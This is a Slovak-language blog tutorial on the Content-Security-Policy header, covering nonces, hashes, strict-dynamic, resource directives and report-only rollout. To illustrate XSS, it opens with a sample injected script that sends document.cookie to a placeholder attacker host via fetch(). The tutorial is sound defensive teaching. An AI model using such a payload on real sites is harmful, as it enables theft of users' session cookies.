Ako funguje Content-Security-Policy hlavička a prečo ju potrebuješ

Ako funguje Content-Security-Policy hlavička a prečo ju potrebuješ

Predstav si diskusný formulár na tvojom webe, kde návštevníci píšu komentáre. Útočník namiesto bežného textu odošle do poľa tento HTML kód:

HTML

<script>
  fetch('https://xss.test/XyZ...?cookie=' + document.cookie)
</script>

Ak tvoja stránka tento vstup bez ošetrenia rovno vypíše do HTML, prehliadač každého ďalšieho návštevníka skript jednoducho spustí. Ten mu následne potichu ukradne prihlasovacie cookies a odošle ich útočníkovi. Presne toto je klasický XSS (Cross-Site Scripting) útok.

Hore uvedený príklad využíva takzvaný inline skript (kód napísaný priamo v tele HTML). Prísna politika CSP (Content Security Policy) ich z bezpečnostných dôvodov blokuje. Prehliadač totiž nedokáže rozlíšiť, či inline kód pochádza od teba ako autora, alebo ho tam podstrčil útočník.

Častá chyba: Mnoho vývojárov sa v tomto momente frustrovane vzdá a do hlavičky pridá pravidlo 'unsafe-inline'. Týmto krokom v podstate vypneš hlavnú ochranu proti XSS a celá CSP hlavička stráca zmysel.

Ako to vyriešiť správne

Máš k dispozícii štyri hlavné cesty, ako prehliadaču dokázať, že spúšťaný kód je bezpečný a pochádza naozaj od teba:

1. Presuň kód do externých súborov (Najlepšia cesta)

Namiesto inline handlerov ako onclick="..." použi v samostatnom .js súbore čistý addEventListener. Pri inline eventoch (atribútoch typu onclick) ti totiž nepomôžu ani pokročilé techniky ako nonce – moderné prehliadače ich v rámci CSP blokujú bez výnimky.

2. Použi nonce (Jednorazový token)

Pre klasické <script> tagy, ktoré musia zostať v HTML, vygeneruje tvoj backend pri každej požiadavke náhodný reťazec. Tento reťazec (token) vložíš do CSP hlavičky aj do samotného skriptu:

HTML

<script nonce="XyZ...">
  // ...tvoj bezpečný kód...
</script>

HTTP

Content-Security-Policy: script-src 'nonce-XyZ...'

Prehliadač skript spustí iba vtedy, ak sa token v HTML presne zhoduje s tokenom v HTTP hlavičke.

  • Dôležité upozornenie: Nonce musí byť kryptograficky náhodný (generovaný napr. cez crypto.randomBytes(), nie pomocou Math.random()) a dostatočne dlhý – odporúča sa minimálne 128 bitov entropie zakódovaných v base64. Krátky alebo predvídateľný nonce ako "abc123" útočník ľahko uhádne.

3. Alternatíva pre statický obsah: Hash-based CSP

Ak máš inline skript, ktorý sa nemení pri každej požiadavke (typicky na statických stránkach bez backendu, kde nemáš ako generovať nonce), môžeš v hlavičke použiť hash jeho obsahu:

HTTP

Content-Security-Policy: script-src 'sha256-XyZ...'

Prehliadač si sám spočíta SHA hash obsahu skriptu a porovná ho s hodnotou v hlavičke. Ak sa zhodujú, skript sa spustí.

  • Nevýhoda: Akákoľvek zmena v skripte – čo i len jedna pridaná medzera – zmení výsledný hash. Kód preto musíte prepočítať a aktualizovať aj v hlavičke. Hodí sa to najmä pre stabilný, málokedy sa meniaci kód.

4. strict-dynamic pre moderné aplikácie

Pri komplexnejších aplikáciách (bundlery, dynamicky vkladané skripty cez document.createElement) sa nonce často kombinuje s direktívou strict-dynamic:

HTTP

Content-Security-Policy: script-src 'nonce-XyZ...' 'strict-dynamic'

Vďaka tomu skript, ktorý má platný nonce, automaticky „prenesie“ dôveru na ďalšie skripty, ktoré sám vytvorí. Nemusíš tak ručne whitelistovať každú tretiu doménu (CDN, analytiku a pod.) v script-src, čo zjednodušuje politiku a znižuje riziko, že na niečo zabudneš.

CSP nestráži len skripty. Čo všetko ešte dokážeš ošetriť?

Rovnakú logiku obmedzovania zdrojov vieš uplatniť na kompletný obsah svojho webu. CSP ti dáva plnú kontrolu nad takmer všetkým, čo prehliadač zo stránky sťahuje:

  • Štýly (style-src): Aj cez CSS dokáže útočník narobiť neplechu – napríklad podstrčiť škodlivé animácie alebo pozmeniť vizuál stránky (clickjacking). Pomocou style-src zakážeš nebezpečné inline štýly v atribútoch style="..." (ktoré by si mal vytiahnuť do externého CSS súboru) a pre povolené <style> tagy v HTML použiješ rovnaký nonce alebo hash ako pri skriptoch.
  • Fonty (font-src): Určuje, odkiaľ môže web sťahovať písma. Ak používaš Google Fonts alebo lokálne fonty, povolíš iba tie a zamedzíš tomu, aby prehliadač sťahoval neznáme fonty z cudzích, potenciálne nebezpečných serverov.
  • Obrázky a médiá (img-src, media-src): Definuje povolené zdroje pre obrázky, ikony, audio či video. Útočníci niekedy zneužívajú načítanie skrytých obrázkov z ich serverov na sledovanie používateľov (tzv. tracking pixely).
  • Pripojenia a AJAX (connect-src): Táto direktíva obmedzuje ciele, na ktoré môže tvoj web posielať dáta cez fetch(), XMLHttpRequest, WebSockety alebo Beacon API. Predstavuje kritickú druhú líniu ochrany: aj keby útočník nejako prepašoval skript na tvoj web, ak mu connect-src nedovolí odoslať ukradnuté dáta na jeho server https://xss.test, celá jeho snaha zlyhá.
  • Základný záchranný kruh (default-src): Ak sa ti nechce písať pravidlo pre každý jeden typ obsahu zvlášť, definuj default-src. Slúži ako záloha (fallback) – všetko, čo explicitne nešpecifikuješ (napríklad spomínané fonty či obrázky), sa bude automaticky riadiť týmto základným pravidlom (často sa nastavuje na 'self', teda iba tvoj vlastný web).

Ako nasadiť CSP na ostrý web bez toho, aby si ho znefunkčnil

Nasadiť prísnu CSP „naostro“ na starší rozbehnutý projekt môže byť nočná mora, pretože riskuješ znefunkčnenie kľúčových prvkov webu. Tvorcovia špecifikácie na to našťastie mysleli a vytvorili testovací režim pomocou hlavičky Content-Security-Policy-Report-Only.

Ak zmeníš názov hlavičky na tento, prehliadač nebude reálne nič blokovať. Ak však narazí na porušenie nastavených pravidiel, pošle o tom podrobnú správu (JSON report) na adresu, ktorú mu určíš:

HTTP

Content-Security-Policy-Report-Only: default-src 'self'; report-uri https://report.test/XzY...;

Poznámka ku kompatibilite: Staršia direktíva report-uri sa dnes postupne nahrádza modernejšou report-to. Kvôli spätnej kompatibilite so staršími prehliadačmi sa však v praxi stále masívne využívajú obe súčasne.

V logoch potom presne uvidíš, ktoré skripty, štýly alebo iné zdroje by tvoja nová politika reálne zablokovala. Môžeš ich v pokoji opraviť a až keď logy zostanú úplne čisté, prepneš sa na ostrú hlavičku Content-Security-Policy.

Zhrnutie: Čo použiť kedy?

Situácia / ProblémSprávne riešenie
Event handlery (onclick, onload…)Presunúť do externého .js súboru + použiť addEventListener
Inline <script> + dynamický backendNonce (kryptograficky bezpečný, generovaný per request)
Inline <script> + statický web bez backenduHash (sha256-XyZ... obsahu skriptu)
Dynamicky vkladané skripty (bundlery, CDN)Kombinácia Nonce + 'strict-dynamic'
Inline štýly (<style> tagy alebo atribúty)Presunúť do .css súboru, prípadne použiť nonce/hash v style-src
Externé fonty (napr. Google Fonts)Povoliť konkrétnu doménu (napr. https://fonts.gstatic.com) vo font-src
Odchádzajúce API požiadavky a WebSocketyObmedziť cieľové servery pomocou connect-src
Nasadenie na existujúci produkčný webPoužiť hlavičku Content-Security-Policy-Report-Only počas testovacej fázy

Užitočné nástroje na záver

Nemusíš všetko písať z hlavy a triafať naslepo. Pomôž si týmito bezplatnými nástrojmi:

  • Google CSP Evaluator: Vložíš sem text svojej hlavičky a Google ti okamžite povie, či v nej nemáš logické chyby alebo nebezpečné slabé miesta.
  • Report-URI / URIports / Sentry: Špecializované služby, ktoré ti vygenerujú unikátnu URL adresu pre tvoj reportovací endpoint. Všetky hlásenia o porušení politiky z prehliadačov používateľov ti prehľadne zozbierajú, prefiltrujú a ukážu v grafoch, takže hneď vidíš, čo na webe opraviť.

CSP hlavička síce vyžaduje trochu plánovania a poctivého testovania, no masívna vrstva bezpečnosti, ktorú tvojmu webu a používateľom prinesie, za tú námahu rozhodne stojí.

Publikované: 04. 07. 2026
Kategórie: Programovanie
GitHub
LinkedIn
Facebook